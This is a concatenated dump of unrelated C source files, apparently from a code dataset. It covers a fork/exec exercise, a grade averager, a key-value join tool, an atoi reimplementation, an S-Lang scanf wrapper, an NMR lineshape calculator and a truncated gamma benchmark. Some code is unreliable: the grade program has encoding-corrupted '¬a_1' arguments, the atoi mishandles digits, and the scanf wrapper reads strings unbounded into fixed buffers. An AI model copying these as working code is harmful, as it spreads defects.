4) The messages should match the real execution orders, i.e. when the testspecial program starts/ends, the right message should be print out. So you need to figure out how to get the starting/ending time of each
process.
The expected screen print out should be similar as follows:
CHILD <16741> process is executing testalphabet program!
CHILD <16742> process is executing testspecial program!
, -> 745668
. -> 798072
... ...
CHILD <16742> process has done with testspecial program !
a -> 2973036
b -> 556908
... ...
CHILD <16741> process has done with testalphabet program !
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#define NUM_OF_CHILDREN 2
int main(void)
{
for(int i = 0; i <NUM_OF_CHILDREN; i++ )
{
pid_t pid = fork();
if(pid < 0)
{
perror("fork failed.");
exit(1);
}
else if(pid == 0 && i == 0)
{//CHILD <16741> process is executing testalphabet program!
printf("CHILD <%d> process is executing testalphabet program!\n", (int) getpid() );
char* args[] = {"./testalphabet", NULL};
//printf("CHILD <%d> process has done with testalphabet program !\n", (int) getpid() );
execv( args[0], args);
}
else if(pid == 0 && i == 1)
{//CHILD <16742> process is executing testspecial program!
printf("CHILD <%d> process is executing testspecial program!\n", (int) getpid() );
char* args[] = {"./testspecial", NULL};
//printf("CHILD <%d> process has done with testspecial program !\n", (int) getpid() );
execv( args[0], args);
}
}
for(int i = 0; i <NUM_OF_CHILDREN; i++ )
{
wait(NULL);
}
return 0;
}
|
the_stack_data/77427.c
|
#include<stdio.h>
int main(){
float nota_1, nota_2, media;
printf("Coloque a primeira nota: ");
scanf("%f",¬a_1);
printf("Coloque a segunda nota: ");
scanf("%f",¬a_2);
media = (nota_1+nota_2)/2;
printf("A media eh: %f\n",media);
if (media>=5){
printf("Voce foi aprovado");
}
else{
printf("Voce foi reprovado");
}
}
|
the_stack_data/50361.c
|
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <string.h>
typedef struct linkedListNodeStruct linkedListNode;
struct linkedListNodeStruct {
char* item;
linkedListNode* next;
};
typedef struct mapEntryStruct {
char* key;
linkedListNode* values;
} mapEntry;
const int MAX_LINE=128*1024;
static void mapEntryAddValue(mapEntry* entry,const char* value) {
if(value==NULL) {return;}
linkedListNode* node=malloc(sizeof(linkedListNode));
assert(node!=NULL);
node->next=entry->values;
node->item=value;
entry->values=node;
}
static mapEntry* mapEntryCreate(const char* key,const char* value) {
mapEntry* result=malloc(sizeof(mapEntry));
assert(result!=NULL);
result->key=key;
result->values=NULL;
mapEntryAddValue(result,value);
return result;
}
static int compareMapEntry(const void* a,const void* b) {
const mapEntry* va=a;
const mapEntry* vb=b;
return strcmp(va->key,vb->key);
}
static mapEntry* readMap(const char* path,int* size) {
int capacity=16;
mapEntry* result=malloc(sizeof(mapEntry)*capacity);
assert(result!=NULL);
int read=0;
FILE* input = fopen(path,"r");
assert(input!=NULL);
char line[MAX_LINE];
while(fgets(line,MAX_LINE,input)!=NULL) {
int split=-1;
int length=-1;
for(int i=0;i<MAX_LINE;i++) {
if(line[i]=='\t') {
if(split==-1) {
split=i+1;
line[i]=0;
continue;
}
}
if(line[i]=='\n') {
length=i+1;
line[i]=0;
break;
}
}
if(split!=-1) {
char* key=strdup(line);
char* value=strdup(line+split);
if((read==0)||(strcmp(result[read-1].key,key)!=0)) {
mapEntry* entry=mapEntryCreate(key,value);
result[read++]=*entry;
free(entry);
//qsort(result,read,sizeof(mapEntry),compareMapEntry);
if(read==capacity) {
capacity += 16;
result=realloc(result,sizeof(mapEntry)*capacity);
assert(result!=NULL);
}
}else{
mapEntryAddValue(&result[read-1],value);
}
}
}
fclose(input);
fprintf(stderr,"%i entry read\n",read);
assert(read!=0);
result=realloc(result,sizeof(mapEntry)*read); // trim results
assert(result!=NULL);
*size=read;
return result;
}
static inline void printResult(const char* key,const char* value) {
if(value!=NULL) {
fprintf(stdout,"%s\t%s\n",key,value);
}else{
fprintf(stdout,"%s\n",key);
}
}
int main(int argc,char* argv[]) {
int mapEntryCount=0;
char* missingPolicy=getenv("missing");
int missingPolicyPrint=0;
if(missingPolicy!=NULL) {
missingPolicyPrint=(strcmp(missingPolicy,"print")==0);
fprintf(stderr,"[%s]%i\n",missingPolicy,missingPolicyPrint);
}
mapEntry* map=readMap(argv[1],&mapEntryCount);
int missing=0;
int read=0;
char line[MAX_LINE];
while(fgets(line,MAX_LINE,stdin)!=NULL) {
int split=-1;
int length=-1;
for(int i=0;i<MAX_LINE;i++) {
if(line[i]=='\t') {
if(split==-1) {
line[i]=0;
split=i+1;
continue;
}
}
if(line[i]=='\n') {
length=i+1;
line[i]=0;
break;
}
}
if(length!=-1) {
char* key=strdup(line);
char* value=NULL;
if(split!=-1) {value=strdup(line+split);}
mapEntry* search=mapEntryCreate(key,NULL);
mapEntry* entry=bsearch(search,map,mapEntryCount,sizeof(mapEntry),compareMapEntry);
if(entry!=NULL) {
linkedListNode* node=entry->values;
assert(node!=NULL);
while(node!=NULL) {
printResult(node->item,value);
node=node->next;
}
}else{
if(missingPolicyPrint==1) {
printResult(key,value);
}
missing++;
}
free(search);
free(key);
free(value);
}
read++;
}
fprintf(stderr,"%i/%i missing\n",missing,read);
}
|
the_stack_data/8266.c
|
int ft_found_nb(int i, int k, int n, char *str)
{
while (str[i] != 0)
{
if (str[i] == '-')
k++;
while (str[i] >= '0' && str[i] <= '9')
{
n = (n + (str[i] - '0'));
i++;
if (!(str[i] > '0' && str[i] < '9'))
break ;
n *= 10;
}
if (n != 0)
break ;
i++;
}
if (k % 2 == 1)
n *= (-1);
return (n);
}
int ft_atoi(char *str)
{
int k;
int n;
int i;
n = 0;
i = 0;
k = 0;
n = ft_found_nb(i, k, n, str);
return (n);
}
|
the_stack_data/318482.c
|
extern void exit (int);
static int rule_text_needs_stack_pop = 0;
static int input_stack_pos = 1;
f (void)
{
rule_text_needs_stack_pop = 1;
if (input_stack_pos <= 0)
return 1;
else
return 0;
}
main ()
{
f ();
exit (0);
}
|
the_stack_data/161080870.c
|
/* $Header: /home/schj/src/vamps_0.99g/src/main/RCS/scanf.c,v 1.6 1999/01/06 12:13:01 schj Alpha $ */
/* $RCSfile: scanf.c,v $
* $Author: schj $
* $Date: 1999/01/06 12:13:01 $ */
#ifdef HAVE_CONFIG_H
#include "vconfig.h"
#endif
#ifdef HAVE_LIBSLANG
#include <string.h>
#include <stdio.h>
static char RCSid[] =
"$Id: scanf.c,v 1.6 1999/01/06 12:13:01 schj Alpha $";
#include "slang.h"
#include "slfile.h"
#define PERC 1
#define DBLPERC 2
#define VERBAT 3
#define SC_INT_TYPE 2
#define SC_FLOAT_TYPE 3
#define SC_DOUBLE_TYPE 6
#define SC_LINT_TYPE 7
#define SC_SINT_TYPE 8
#define SC_UINT_TYPE 9
#define SC_STRING_TYPE 4
#define SC_CSTRING_TYPE 5
#define SC_NOTHING_TYPE 1
#define SC_ERROR 10
/*F:scanf.c
*@ [fs]scanf functionality for S-Lang
*
* sl_fscanf breaks the fmt string in one-item pieces that can be
* passed on to fscanf directly. It pushes all converted items on the
* stack.
*
* core: int sl_fscanf(FILE *sfile, char *fmt, char *s)
* wrappers: int slash_scanf(char *fmt)
* int slash_fscanf(void)
* int slash_sscanf(void)
*
* use in C:
* MAKE_INTRINSIC(".scanf", slash_scanf,INT_TYPE,1)
* MAKE_INTRINSIC(".fscanf", slash_fscanf,INT_TYPE,0)
* MAKE_INTRINSIC(".fscanf", slash_sscanf,INT_TYPE,2)
* use in S-Lang:
* int scanf(char *fmt, int items)
* int fscanf(int fp, char *fmt, int items)
* int sscanf(char *str, char *fmt, int items)
*
* BUGS
* - the %c conversion in sscanf adds a '\0' for practicality
* - it is a lot of code and probably not very fast
* - %p not implemented, ignored
* - %a -> malloced string not implemented (non ansii anyway)
* - ll and L (long long) treated as long
*
* Jaap Schellekens
*/
/* At the moment we need this stuff from slfiles.c */
/* returns pointer to file entry if it is open and consistent with
flags. Returns NULL otherwise */
static SL_File_Table_Type *pop_fp (unsigned int flags)
{
int n;
SL_File_Table_Type *t;
if (SLang_pop_integer (&n)) return NULL;
if ((n < 0) || (n >= SL_MAX_FILES)) return(NULL);
t = SL_File_Table + n;
if (t->fd == -1) return (NULL);
if (flags & t->flags) return (t);
return NULL;
}
/*C:cktype
*@int cktype (char *fmt)
*
* Checks type that should be pushed on stack
* Returns one of the SC_* defines
*/
int
cktype(char *fmt)
{
int retval = 0;
int longflag = 0;
int shortflag = 1;
while(*fmt){
switch (*fmt){
case '*': retval = SC_NOTHING_TYPE; break;
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8':
case '9': retval = 0; break;
case 'l': retval = 0; longflag = 1; break;
case 'L': retval = 0; longflag = 1; break;
case 'q': retval = 0; longflag = 1; break;
case 'a': retval = SC_ERROR; break; /* malloced string */
case 'h': retval = 0; shortflag = 1;
case 'd': retval = SC_INT_TYPE; break; /* int */
case 'D': retval = SC_LINT_TYPE; break; /* int */
case 'i': retval = SC_INT_TYPE; break; /* int */
case 'o': retval = SC_UINT_TYPE; break; /* int */
case 'u': retval = SC_UINT_TYPE; break; /* int */
case 'x': retval = SC_UINT_TYPE; break; /* int */
case 'X': retval = SC_UINT_TYPE; break; /* int */
case 'f': retval = SC_FLOAT_TYPE; break; /* double */
case 'e': retval = SC_FLOAT_TYPE; break; /* double */
case 'g': retval = SC_FLOAT_TYPE; break; /* double */
case 'E': retval = SC_FLOAT_TYPE; break; /* double */
case 's': retval = SC_STRING_TYPE; break; /* string - non whitespace */
case 'c': retval = SC_CSTRING_TYPE; break; /* string - count characters */
case '[': retval = SC_STRING_TYPE; break; /* string - count characters */
case 'p': retval = SC_ERROR; break; /* pointer - count characters */
case 'n': retval = SC_INT_TYPE; break; /* int - num of characters read */
default: retval = 0; break;
}
if (retval)
break;
fmt++;
}
if (longflag)
switch (retval){
case SC_FLOAT_TYPE: retval = SC_DOUBLE_TYPE; break;
case SC_INT_TYPE: retval = SC_LINT_TYPE; break;
}
if (shortflag && retval == SC_INT_TYPE)
retval = SC_SINT_TYPE;
return retval;
}
/*C:pushit
*@int pushit(int type, FILE *sfile, char *fmt, int *fscanret);
*
* Pushit take a type, a stream, and an one-item format string.
* pushit checks the S-Lang type to conversion-type relation. It then
* uses fscanf to do the conversion and pushes the items on the
* stack depending on conversion flags.
* fscanret holds fscanf's return value.
*/
int
pushit(int type, FILE *sfile,char *fmt,int *fscanfret)
{
double v_dflt;
float v_flt;
int v_int;
unsigned int v_uint;
short int v_sint;
long int v_lint;
char v_s[2048];
int push = 0;
switch (type){
case SC_ERROR:
break;
case SC_INT_TYPE:
*fscanfret = fscanf(sfile,fmt,&v_int);
if (*fscanfret == EOF)
break;
SLang_push_integer(v_int);
push++;
break;
case SC_SINT_TYPE:
*fscanfret = fscanf(sfile,fmt,&v_sint);
if (*fscanfret == EOF)
break;
SLang_push_integer((int)v_sint);
push++;
break;
case SC_LINT_TYPE:
*fscanfret = fscanf(sfile,fmt,&v_lint);
if (*fscanfret == EOF)
break;
SLang_push_integer((int)v_lint);
push++;
break;
case SC_UINT_TYPE:
*fscanfret = fscanf(sfile,fmt,&v_uint);
if (*fscanfret == EOF)
break;
SLang_push_float((int)v_uint);
push++;
break;
case SC_DOUBLE_TYPE:
*fscanfret = fscanf(sfile,fmt,&v_dflt);
if (*fscanfret == EOF)
break;
SLang_push_float(v_dflt);
push++;
break;
case SC_FLOAT_TYPE:
*fscanfret = fscanf(sfile,fmt,&v_flt);
if (*fscanfret == EOF)
break;
SLang_push_float((double)v_flt);
push++;
break;
case SC_CSTRING_TYPE:
case SC_STRING_TYPE:
*fscanfret = fscanf(sfile,fmt,v_s);
if (*fscanfret == EOF)
break;
SLang_push_string(v_s);
push++;
break;
case SC_NOTHING_TYPE:
*fscanfret = fscanf(sfile,fmt);
if (*fscanfret == EOF)
break;
break;
default: break;
}
return push;
}
/*C:spushit
*@int spushit(int type, char *s, char *fmt, int *sscanret, int *startpos);
*
* spushit take a type, a string, an one-item format string and a start
* position (needed because we uses multiple calls to sscanf);
* pushit checks the S-Lang type to conversion-type relation. It then
* uses sscanf to do the conversion and pushes the items on the
* stack depending on conversion flags.
* sscanret holds sscanf's return value.
*/
int
spushit(int type,char *s,char *fmt,int *sscanfret, int *startpos)
{
double v_dflt;
float v_flt;
int v_int;
unsigned int v_uint;
short int v_sint;
long int v_lint;
char v_s[2048];
int push = 0;
int nrdone = 0;
register int i;
/* since we break the string up in pieces we need to know
where we stopped. To do this we append the %n thing to
the fmt string which will tell us where we have ended.*/
for (i = 0; i < *startpos && *s; i++)
s++;
strcat (fmt,"%n");
switch (type){
case SC_ERROR:
break;
case SC_INT_TYPE:
*sscanfret = sscanf(s,fmt,&v_int,&nrdone);
if (*sscanfret == EOF)
break;
SLang_push_integer(v_int);
push++;
break;
case SC_SINT_TYPE:
*sscanfret = sscanf(s,fmt,&v_sint,&nrdone);
if (*sscanfret == EOF)
break;
SLang_push_integer((int)v_sint);
push++;
break;
case SC_LINT_TYPE:
*sscanfret = sscanf(s,fmt,&v_lint,&nrdone);
if (*sscanfret == EOF)
break;
SLang_push_integer((int)v_lint);
push++;
break;
case SC_UINT_TYPE:
*sscanfret = sscanf(s,fmt,&v_uint,&nrdone);
if (*sscanfret == EOF)
break;
SLang_push_float((int)v_uint);
push++;
break;
case SC_DOUBLE_TYPE:
*sscanfret = sscanf(s,fmt,&v_dflt,&nrdone);
if (*sscanfret == EOF)
break;
SLang_push_float(v_dflt);
push++;
break;
case SC_FLOAT_TYPE:
*sscanfret = sscanf(s,fmt,&v_flt,&nrdone);
if (*sscanfret == EOF)
break;
SLang_push_float((double)v_flt);
push++;
break;
case SC_CSTRING_TYPE:
*sscanfret = sscanf(s,fmt,v_s,&nrdone);
if (*sscanfret == EOF)
break;
v_s[nrdone] = '\0';
SLang_push_string(v_s);
push++;
break;
case SC_STRING_TYPE:
*sscanfret = sscanf(s,fmt,v_s,&nrdone);
if (*sscanfret == EOF)
break;
SLang_push_string(v_s);
push++;
break;
case SC_NOTHING_TYPE:
*sscanfret = sscanf(s,fmt,&nrdone);
if (*sscanfret == EOF)
break;
break;
default: break;
}
*startpos += nrdone;
return push;
}
/*C:sl_fscanf
*@int sl_fscanf(FILE *sfile, char *fmt, char *s)
*
* Breaks the fmt string into single-item strings for pushit or
* spushit to process. If FILE == NULL spushit is called, otherwise
* pushit is called.
*
* return: the number of items pushed on the stack.
*/
int
sl_fscanf(FILE *sfile,char *fmt, char *str)
{
int nrparts=0;
char buf[256],s[256];
int inpart=0;
int flag = VERBAT;
int nrpush = 0;
int ret = 0;
int strpos = 0;
if (!*fmt)
return 0;
/* Get leading characters */
while (*fmt && *fmt != '%'){
buf[inpart] = *fmt;
inpart++;
fmt++;
}
/* if no % sign, got to wrap up at end */
if (*fmt){
fmt++;
if (inpart){ /* All stuff leading the first % sign */
buf[inpart] = '\0';
nrpush += sfile == NULL ?
spushit(cktype(buf),str,s,&ret,&strpos) :
pushit(cktype(buf),sfile,s,&ret);
}
nrparts++;
inpart = 0;
while (*fmt){
switch(*fmt){
case '%':
fmt++;
if (*fmt == '%'){
buf[inpart] = *fmt;
inpart++;
buf[inpart] = '%';
inpart++;
flag = DBLPERC;
}else{
flag = PERC;
fmt--;
nrparts++;
buf[inpart] = '\0';
strcpy(s,"%");strcat(s,buf);
nrpush += sfile == NULL ?
spushit(cktype(buf),str,s,&ret,&strpos) :
pushit(cktype(buf),sfile,s,&ret);
inpart = 0;
}
break;
default:
flag = VERBAT;
buf[inpart] = *fmt;
inpart++;
break;
}
fmt++;
}
}
/* Wrap things up, last fmt str */
if(flag == VERBAT && nrparts > 0){
buf[inpart] = '\0';
strcpy(s,"%");strcat(s,buf);
nrpush += sfile == NULL ?
spushit(cktype(buf),str,s,&ret,&strpos) :
pushit(cktype(buf),sfile,s,&ret);
}else if (nrparts == 0){
buf[inpart] = '\0';
nrpush += sfile == NULL ?
spushit(cktype(buf),str,s,&ret,&strpos) :
pushit(cktype(buf),sfile,s,&ret);
}
if (ret == EOF)
return EOF;
else
return nrpush;
}
/* Wrappers for SL_fscanf */
int
slash_scanf(char *fmt)
{
return sl_fscanf(stdin,fmt, NULL);
}
int
slash_fscanf(void)
{
SL_File_Table_Type *t;
char *fmt;
FILE *fp;
if (SLpop_string(&fmt)) return 0;
if (NULL == (t = pop_fp(SL_READ))) return 0;
fp = t->fp;
return sl_fscanf(fp,fmt, NULL);
}
int
slash_sscanf (char *s, char *fmt)
{
return sl_fscanf(NULL, fmt, s);
}
#endif
|
the_stack_data/115687.c
|
/*
* Copyright (C) 2015 University of Oregon
*
* You may distribute under the terms of either the GNU General Public
* License or the Apache License, as specified in the LICENSE file.
*
* For more information, see the LICENSE file.
*/
/*
*/
#include <stdio.h>
#include <string.h>
#include <math.h>
FILE *inpfile,*macfile;
float fun();
void nrerror();
/* program for estimation of cq, etaq, and viso from three singularities
of the MAS central transition lineshape of a half-integer nucleus
H. Bildsoe, Dept. of Chem., Aarhus University, DK-8000 Aarhus C, Denmark
march 1995 */
main(argc,argv)
int argc;
char *argv[];
{
int i,j,icase,sites;
float f[5],freq[3];
float ival,cq,viso,eta,cur,delta,r;
float a,v0;
char *sing[3];
char *sinname[5];
/* initialize array sinname with allowed singularity names */
sinname[0] = "f2";
sinname[1] = "p2";
sinname[2] = "p1";
sinname[3] = "s1";
sinname[4] = "f1";
sing[0] = "f2";
sing[1] = "p2";
sing[2] = "p1";
for (i=0;i<5;i++) f[i] = 0.0;
if ((inpfile = fopen(argv[1],"r")) == NULL) nrerror("can not open inputfile");
/* read singularity labels */
fscanf(inpfile,"%d",&sites);
for (i=0;i<=2;i++) fscanf(inpfile,"%f %s",&freq[i],sing[i]);
fscanf(inpfile,"%f %f",&ival,&v0);
fclose(inpfile);
if (fabs((float)((int)(ival+0.1))-ival)<0.1 || ival<1.1)
nrerror("no central transition for this ival");
a = (18.0*ival*(ival+1.0)-13.5)/(ival*ival*(2.0*ival-1.0)*(2.0*ival-1.0)*32.0);
/* convert names to indices into array sinname and sort into order f2,p2,p1,s1,f1 */
for (i=0, icase=0;i<=4;i++) {
for (j=0;j<3; j++) if (strncmp(sinname[i],sing[j],2)==0) break;
if (j<3) {
f[i] = freq[j];
sing[j] = " "; /* remove label from list */
icase += 1<<i;
}
}
for (i=0;i<=2;i++) /* check for remaining labels */
if (strncmp(sing[i]," ",2) != 0)
nrerror("unknown singularity name");
switch (icase)
{
case 7: /* case of f2,p2,p1 */
if (f[0]<f[1] || f[1]<f[2]) nrerror("frequencies and labels are inconsistent");
r=(f[0]-f[1])/(f[0]-f[2]);
if (r<0.0 || r>1.1) nrerror("impossible data");
else if (r>=1.0) eta=1.0;
else if (r==0.0) eta=0.0;
else if (r>7.0/15.0) eta = 1.0 - 2.0/r + 2.0*sqrt(1.0-r+r*r)/r;
else eta = -6.0/50.0 + (96.0 - 3.0*sqrt(128.0*(8.0+7.0*r)*(1.0-r)))/(50.0*r);
cq = sqrt((f[0]-f[2])*v0/a/fun(eta,2)/1.0e6);
break;
case 11: /* f2,p2,s1 */
if (f[0]<f[1] || f[1]<f[3]) nrerror("frequencies and labels are inconsistent");
r = (f[0]-f[1])/(f[1]-f[3]);
if (r<0.0 || r>26.0/25.0) nrerror("impossible data");
else if (r>=24.0/25.0) eta = 1.0;
else if (r==0.0) eta = 0.0;
else eta = 3.0/25.0 + (96.0-3.0*sqrt(128.0*(8.0-7.0*r)*(1.0+r)))/(50.0*r);
cq = sqrt((f[0]-f[3])*v0/a/fun(eta,3)/1.0e6);
break;
case 19: /* f2,p2,f1 */
if (f[0]<f[1] || f[1]<f[4]) nrerror("frequencies and labels are inconsistent");
r = (f[0]-f[1])/(f[1]-f[4]);
if (r<0.0 || r>26.0/25.0) nrerror("impossible data");
else if (r>=24.0/25.0) eta = 1.0;
else if (r==0.0) eta = 0.0;
else eta = 6.0 + 12.0*(1.0-sqrt(1.0+r))/r;
cq = sqrt((f[0]-f[4])*v0/a/fun(eta,4)/1.0e6);
break;
case 13: /* f2,p1,s1 */
if (f[0]<f[2] || f[2]<f[3]) nrerror("frequencies and labels are inconsistent");
r = (f[2]-f[3])/(f[0]-f[3]);
if (r<0.0 || r>27.0/49.0) nrerror("impossible data");
else if (r>=25.0/49.0) eta = 1.0;
else if (r==0.0) eta = 0.0;
else if (r>49.0/169.0) eta = -9.0/5.0+(336.0/5.0 +48.0*sqrt(r))/(49.0-25.0*r);
else eta = -9.0/5.0 + (84.0-12.0*sqrt(7.0*(7.0-15.0*r)))/(50.0*r);
cq = sqrt((f[0]-f[3])*v0/a/fun(eta,3)/1.0e6);
break;
case 21: /* f2,p1,f1 */
if (f[0]<f[2] || f[2]<f[4]) nrerror("frequencies and labels are inconsistent");
r = (f[0]-f[2])/(f[2]-f[4]);
if (r<22.0/25.0 || r>10.0/7.0) nrerror("impossible data");
else if (r>=9.0/7.0) eta = 0.0;
else if (r<=24.0/25.0) eta = 1.0;
else if (r>8.0/7.0)
eta = 1.0 - (28.0+6.0*sqrt(7.0*(7.0*r-8.0)*(1.0+r)))/(25.0+21.0*r);
else eta = (84.0 + 21.0*sqrt(8.0*(8.0-7.0*r)*(1.0+r)))/(14.0*(6.0+7.0*r));
cq = sqrt((f[0]-f[4])*v0/a/fun(eta,4)/1.0e6);
break;
case 25: /* f2,s1,f1 */
if (f[0]<f[3] || f[3]<f[4]) nrerror("frequencies and labels are inconsistent");
r = (f[3]-f[4])/(f[0]-f[3]);
if (r<0.0 || r>8.0/9.0) nrerror("impossible data");
else if (r>=7.0/9.0) eta = 0.0;
else eta = -9.0/5.0 + (84.0/5.0 + 42.0*sqrt(1.0+r))/(21.0+25.0*r);
cq = sqrt((f[0]-f[4])*v0/a/fun(eta,4)/1.0e6);
break;
case 14: /* p2,p1,s1 */
if (f[1]<f[2] || f[2]<f[3]) nrerror("frequencies and labels are inconsistent");
r = (f[1]-f[2])/(f[1]-f[3]);
if (r<0.0 || r>1.1) nrerror("impossible data");
else if (r>=1.0) eta = 0.0;
else if (r<64.0/113.0)
eta = 3.0/25.0-(1344.0-75.0*sqrt(128.0*(8.0+7.0*r)*(1.0-r)))/(50.0*(24.0+25.0*r));
else eta = 3.0/25.0 +(84.0 - 12.0*sqrt(7.0*r*(15.0-8.0*r)))/(50.0*(1.0-r));
cq = sqrt((f[1]-f[3])*v0/a/fun(eta,6)/1.0e6);
break;
case 22: /* p2,p1,f1 */
if (f[1]<f[2] || f[2]<f[4]) nrerror("frequencies and labels are inconsistent");
r = (f[1]-f[2])/(f[2]-f[4]);
if (r<0.0 || r>10.0/7.0) nrerror("impossible data");
else if (r>=9.0/7.0) eta = 0.0;
else if (r>64.0/105.0) eta = 1.0 +(20.0-42.0*sqrt(r*(1.0+r)))/(25.0+21.0*r);
else eta = (-84.0+21.0*sqrt(8.0*(8.0-7.0*r)*(1.0+r)))/(14.0*(6.0+7.0*r));
cq = sqrt((f[1]-f[4])*v0/a/fun(eta,7)/1.0e6);
break;
case 26: /* p2,s1,f1 */
if (f[1]<f[3] || f[3]<f[4]) nrerror("frequencies and labels are inconsistent");
r = (f[3]-f[4])/(f[1]-f[4]);
if (r<0.0 || r>8.0/16.0) nrerror("impossible data");
else if (r>=7.0/16.0) eta = 0.0;
else eta = 6.0 - (147 - 6.0*sqrt(7.0*(7.0-15.0*r)))/(21.0+4.0*r);
cq = sqrt((f[1]-f[4])*v0/a/fun(eta,7)/1.0e6);
break;
case 28: /* p1,s1,f1 */
if (f[2]<f[3] || f[3]<f[4]) nrerror("frequencies and labels are inconsistent");
r = (f[3]-f[4])/(f[2]-f[4]);
if (r<0.0 || r>1.1) nrerror("impossible data");
else if (r>=1.0) eta = 0.0;
else if (r>8.0/15.0) eta = 1.0 - 2.0*(1.0 - sqrt(1.0-r+r*r))/(1.0-r);
else eta = (-42.0 + 12.0*sqrt(7.0*(1.0-r)*(7.0+8.0*r)))/(14.0*(3.0+4.0*r));
cq = sqrt((f[2]-f[4])*v0/a/fun(eta,9)/1.0e6);
break;
}
a *= cq*cq/v0*1.0e6;
/* calculate positions of remaining two singularities */
switch (icase)
{
case 7:
cur = f[3]= f[0]-fun(eta,3)*a;
f[4] = f[0]-a*fun(eta,4);
delta = f[3]-f[4];
break;
case 11:
cur = f[2] = f[0]-a*fun(eta,2);
f[4] = f[0]-a*fun(eta,4);
delta = f[2]-f[4];
break;
case 19:
cur = f[2] = f[0]-a*fun(eta,2);
f[3] = f[0]-a*fun(eta,3);
delta = f[2]-f[3];
break;
case 13:
cur = f[1] = f[0]-a*fun(eta,1);
f[4] = f[0]-a*fun(eta,4);
delta = f[1]-f[4];
break;
case 21:
cur = f[1] = f[0]-a*fun(eta,1);
f[3] = f[0]-a*fun(eta,3);
delta = f[1]-f[3];
break;
case 25:
cur = f[1] = f[0]-a*fun(eta,1);
f[2] = f[0]-a*fun(eta,2);
delta = f[1]-f[2];
break;
case 14:
cur = f[0] = f[1]+a*fun(eta,1);
f[4] = f[1]-a*fun(eta,7);
delta = f[0]-f[4];
break;
case 22:
cur = f[0] = f[1]+a*fun(eta,1);
f[3] = f[1]-a*fun(eta,6);
delta = f[0]-f[3];
break;
case 26:
cur = f[0] = f[1]+a*fun(eta,1);
f[2] = f[1]-a*fun(eta,5);
delta = f[0]-f[2];
break;
case 28:
cur = f[0] = f[2]+a*fun(eta,2);
f[1] = f[2]+a*fun(eta,5);
delta = f[0]-f[1];
break;
}
a = (2.0*ival*(ival+1.0)-1.5)/(ival*ival*(2.0*ival-1.0)*(2.0*ival-1.0));
a *= 3.0*cq*cq/32.0/7.0/v0;
a *= (1.0-eta)*(1.0-eta)*1.0e6;
viso = f[0]+a;
if ((macfile = fopen(argv[2],"w")) == NULL) nrerror("can't open macrofile");
if (sites==1) fprintf(macfile,"cq=%f etaq=%f viso=%f\n",cq,eta,viso);
else fprintf(macfile,"cq%1d=%f etaq%1d=%f viso%1d=%f\n",sites,cq,sites,eta,sites,viso);
fprintf(macfile,"r1=%f r2=%f r3=%f r4=%f r5=%f\n",f[0],f[1],f[2],f[3],f[4]);
fprintf(macfile,"cr=%f delta=%f\n",cur,delta);
if (icase==21)
printf("warning: etas can not be determined accurately from f2,p1,f1\n");
}
float fun(x,ifn)
float x;
int ifn;
{
float z;
/* calculate "reduced" distance between two singularities for eta=x */
switch (ifn)
{
case 1: /* distance f2-p2 */
z = 4.0*x/21.0;
break;
case 2: /* f2-p1 */
if (x>(3.0/7.0))
z = (3.0-x)*(1.0+x)/21.0;
else z = (9.0+2.0*x/3.0+25.0*x*x/9.0)/56.0;
break;
case 3: /* f2-s1 */
z = (3.0+5.0*x/3.0)*(3.0+5.0*x/3.0)/56.0;
break;
case 4: /* f2-f1 */
z = (2.0+x/3.0)*(2.0+x/3.0)/14.0;
break;
case 5: /* p2-p1 */
if (x>(3.0/7.0))
z = -(x-1.0)*(x+3.0)/21.0;
else z = (3-5.0*x/3.0)*(3.0-5.0*x/3.0)/56.0;
break;
case 6: /* p2-s1 */
z = (9.0-2.0*x/3.0+25.0*x*x/9.0)/56.0;
break;
case 7: /* p2-f1 */
z = (2.0-x/3.0)*(2.0-x/3.0)/14.0;
break;
case 8: /* p1-s1 */
if (x>(3.0/7.0))
z = 7.0*(3.0/7.0+x)*(3.0/7.0+x)/72.0;
else z = x/6.0;
break;
case 9: /* p1-f1 */
if (x>(3.0/7.0))
z = 1.0/7.0+x*x/18.0;
else z = -(x+1.0)*(x-3.0)/24.0;
break;
case 10: /* s1-f1 */
z = -(x-1.0)*(x+3.0)/24.0;
break;
}
return z;
}
void nrerror(error_text)
char error_text[];
{
printf("%s\n",error_text);
fflush(stdout);
exit(-1);
}
|
the_stack_data/198579571.c
|
/**
* @license Apache-2.0
*
* Copyright (c) 2018 The Stdlib Authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Benchmark `tgamma`.
*/
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>
#define NAME "gamma"
#define ITERATIONS 1000000
#define REPEATS 3
/**
* Prints the TAP version.
*/
void print_version() {
printf( "TAP version 13\n" );
}
/**
* Prints the TAP summary.
*
* @param total total number of tests
* @param passing total number of passing tests
*/
void print_summary( int total, int passing ) {
printf( "#\n" );
printf( "1..%d\n", total ); // TAP plan
printf( "# total %d\n", total );
printf( "# pass %d\n", passing );
printf( "#\n" );
printf( "# ok\n" );
}
/**
* Prints benchmarks results.
*
* @param elapsed elapsed time in seconds
*/
void print_results( double elapsed ) {
double rate = (double)ITERATIONS / elapsed;
printf( " ---\n" );
printf( " iterations: %d\n", ITERATIONS );
printf( " elapsed: %0.9f\n", elapsed );
printf( " rate: %0.9f\n", rate );
printf( " ...\n" );
}
/**
* Returns a clock time.
*
* @return clock time
*/
double tic() {
struct timeval now;
gettimeofday( &now, NULL );
return (double)now.tv_sec + (double)now.tv_usec/1.0e6;
}
/**
* Generates a random double on the interval [0,1].
*
* @return random double
*/
double rand_double() {
int r = rand();
return (double)r / ( (double)RAND_MAX + 1.0 );
}
/**
* Runs a benchmark.
*
* @return elapsed time in seconds
*/
double benchmark() {
double elapsed;
double x;
double y;
double t;
int i;
t = tic();
for ( i = 0; i < ITERATIONS; i++ ) {
x = ( 171.0*rand_double() ) - 0.0;
y = tgamma( x );
if ( y != y ) {
printf( "should not return NaN\n" );
break;
}
}
elapsed = tic() - t;
if ( y != y ) {
printf( "should not return NaN\n" );
}
return elapsed;
}
/**
* Main execution sequence.
*/
int main( void ) {
double elapsed;
int i;
